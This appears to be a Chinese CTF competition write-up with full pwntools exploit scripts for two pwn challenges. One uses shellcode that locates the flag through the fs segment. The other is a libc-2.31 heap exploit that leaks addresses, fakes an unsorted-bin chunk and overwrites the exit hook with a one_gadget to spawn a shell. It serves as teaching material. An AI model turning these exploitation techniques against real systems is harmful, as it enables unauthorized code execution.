不会有人上完5天班周六还有早八吧?
比赛成绩
直接被队友cjj带飞,ak了misc和电子取证两大分区,卑微pwn手只出了一道pwn,水了几道取证,还有一道pwn比赛结束半小时出了。。。
EscapeShellcode
在HGAME2022做到过有关线程的题,里面用到了fs寻址,fs上一般会有很多有用的信息
经过调试发现在fsbase+0x300的位置有栈地址,然后在栈地址+0x10找到了start的地址,与flag的地址偏移固定,直接调用write输出flag即可
需要注意一下libc环境,ubuntu20.04做的时候栈地址上直接就有程序地址,但是在远程上并没有,+10的地方还是start,建议用ubuntu18.04复现
exp:
#encoding: utf-8
#!/usr/bin/python
from pwn import *
import sys
#from LibcSearcher import LibcSearcher
context.log_level = 'debug'
context.arch='amd64'
local=0
binary_name='escape_shellcode'
elf=ELF("./"+binary_name)
if local:
p=process("./"+binary_name)
#p=process("./"+binary_name,env={"LD_PRELOAD":"./"+libc_name})
#p = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "./"+binary_name])
#p = process(argv=["./qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "-g", "1234", "./"+binary_name])
else:
p=remote('39.106.154.121',40433)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,b'\x00'))
# variables
# gadgets
# helper functions
op32 = make_packer(32, endian='big', sign='unsigned') # opposite p32
op64 = make_packer(64, endian='big', sign='unsigned') # opposite p64
# main
#z("search -8 0x0BEEFDEADBEEFB848")
#pause()
code='''
mov rax,fs:0x300
mov rax,[rax+0x10]
mov rsi,rax
add rsi,0x2f80
mov rdi,1
mov rdx,0x30
xor rax,rax
mov rax,1
syscall
'''
shellcode=asm(code)
p.send(shellcode)
print(p.recv())
ia()
Bank
C语言菜的要死还懒得调试的后果,结束前40分钟发现admin输出的是堆上的内容不是bss上的,最后急急忙忙还是没能在比赛前做出来呜呜
可以看到ghost里有个realloc,最大size为0x100,花费0xB的money
利用realloc的机制,申请比原size大的堆块的时候,如果底下没有闲置空间,会free掉原来的堆块。题目限制了realloc的大小,只能放到tcache里,libc-2.31有tcache->key,可以用来泄露堆地址,算好偏移就行,注意用realloc多申请几个大堆块,使其达到admin输出范围,用guest的堆块隔开每个realloc出的堆块,申请大一号size就可以不释放原来的堆块,重新开辟一块
然后是利用guest可以写堆块以及hacker可以任意free堆块实现伪造unsorted bin大小的堆块,用guest伪造好0x421的堆块头,然后底下布置好堆块绕过检查,将其释放到unsorted bin中
检查需要注意伪造的地址+0x420处要有被占用的堆块头,另外下个堆块的prev_inuse位也得置1,或者下面直接为top_chunk,因为会检查向下合并
然后利用admin输出(比赛时还忘了admin输出有限制,伪造的size离的太近没法输出头结点,结果堆布局全部改了一遍www)
然后释放0x203050的堆块,用guest申请回来写入exit_hook的地址,最后用abyss写入one_gadget,exit触发拿到shell
libc和ld的偏移比较麻烦,我这里远程是用题目的libc和本机(ubuntu20.04)的ld做的,估计libc有点差异(明明都是9.2而且文件大小一模一样,麻了)
exp:
#encoding: utf-8
#!/usr/bin/python
from pwn import *
import sys
#from LibcSearcher import LibcSearcher
context.log_level = 'debug'
context.arch='amd64'
local=0
binary_name='Bank'
libc_name='libc-2.31.so'
ld_name='ld-2.31.so'
libc=ELF("./"+libc_name)
ld=ELF("./"+ld_name)
elf=ELF("./"+binary_name)
if local:
#p=process("./"+binary_name)
p=process("./"+binary_name,env={"LD_PRELOAD":"./"+libc_name})
#p = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "./"+binary_name])
#p = process(argv=["./qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "-g", "1234", "./"+binary_name])
else:
p=remote('39.107.108.120',13296)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,b'\x00'))
def cho(num):
sl(str(num))
def add(size):
cho(1)
sl(str(size))
def edit(idx,size,con):
cho(2)
sl(str(idx))
sl(str(size))
sd(con)
def show(idx):
cho(3)
sla("Index :",str(idx))
def delete(idx):
cho(3)
sl(str(idx))
# admin,hacker,guest,ghost,abyss
def pay_to(user,size):
sa("Click: ","Transfer")
sa("who? ",user)
sa("How much? ",str(size))
# variables
# gadgets
og=[0xe6c7e,0xe6c81,0xe6c84,0xe6e73,0xe6e76]
# helper functions
op32 = make_packer(32, endian='big', sign='unsigned') # opposite p32
op64 = make_packer(64, endian='big', sign='unsigned') # opposite p64
# main
sa("Click: ","Login")
sa("Card Numbers: ","6"*0x11)
sa("Password: ","6"*7)
# pay_out_money 0x190
sa("Click: ","Put")
sa("How Much? ",str(0x190))
pay_to("ghost",0xB)
sa("ghost: &^%#@! :)",str(0xa0))
pay_to("guest",0xB)
sa("data: ",'A'*0x10)
pay_to("ghost",0xB)
sa("ghost: &^%#@! :)",str(0xb0))
pay_to("guest",0xB)
sa("data: ",p64(0)+p64(0x421))
pay_to("ghost",0xB)
sa("ghost: &^%#@! :)",str(0xc0))
pay_to("guest",0xB)
sa("data: ",'A'*0x10)
pay_to("ghost",0xB)
sa("ghost: &^%#@! :)",str(0xd0))
pay_to("guest",0xB)
sa("data: ",'A'*0x10)
pay_to("ghost",0xB)
sa("ghost: &^%#@! :)",str(0xe0))
pay_to("guest",0xB)
sa("data: ",'A'*0x10)
pay_to("ghost",0xB)
sa("ghost: &^%#@! :)",str(0xf0))
pay_to("guest",0xB)
sa("data: ",p64(0)+p64(0x31))
pay_to("guest",0xB)
sa("data: ",'A'*0x10)
pay_to("guest",0xB)
sa("data: ",'A'*0x10)
pay_to("admin",0x1f)
ru("I think ")
heap_addr=int(p.recv(14),16)
pay_to("hacker",0x33)
sa("hacker: Great!",str(heap_addr+1104))
pay_to("admin",0x38)
ru("I think ")
unsorted_addr=int(p.recv(14),16)
libc_base=unsorted_addr-2014176
ld_base=libc_base+2048000
_rtld_global = ld_base + ld.sym['_rtld_global']
_dl_rtld_lock_recursive = _rtld_global + 0xf08
one_gadget=libc_base+og[0]
success("heap_addr:"+hex(heap_addr))
success("libc_base:"+hex(libc_base))
success("one_gadget:"+hex(one_gadget))
#z("set a=rebase(0x203050)")
#z("b *"+hex(one_gadget))
#pause()
pay_to("hacker",0x33)
sa("hacker: Great!",str(heap_addr+656))
pay_to("guest",0xB)
sa("data: ",p64(_dl_rtld_lock_recursive))
pay_to("abyss",0x10)
p.send(str(one_gadget))
ia()
赛后看别的师傅的wp发现原来还藏了个刷钱的洞,money等于要存入的钱时,不会减少金额
不过写exp的时候用realloc疯狂申请堆块,省了好多钱,这个洞没发现也做出来了,请叫我省钱大师hhh
Comments | NOTHING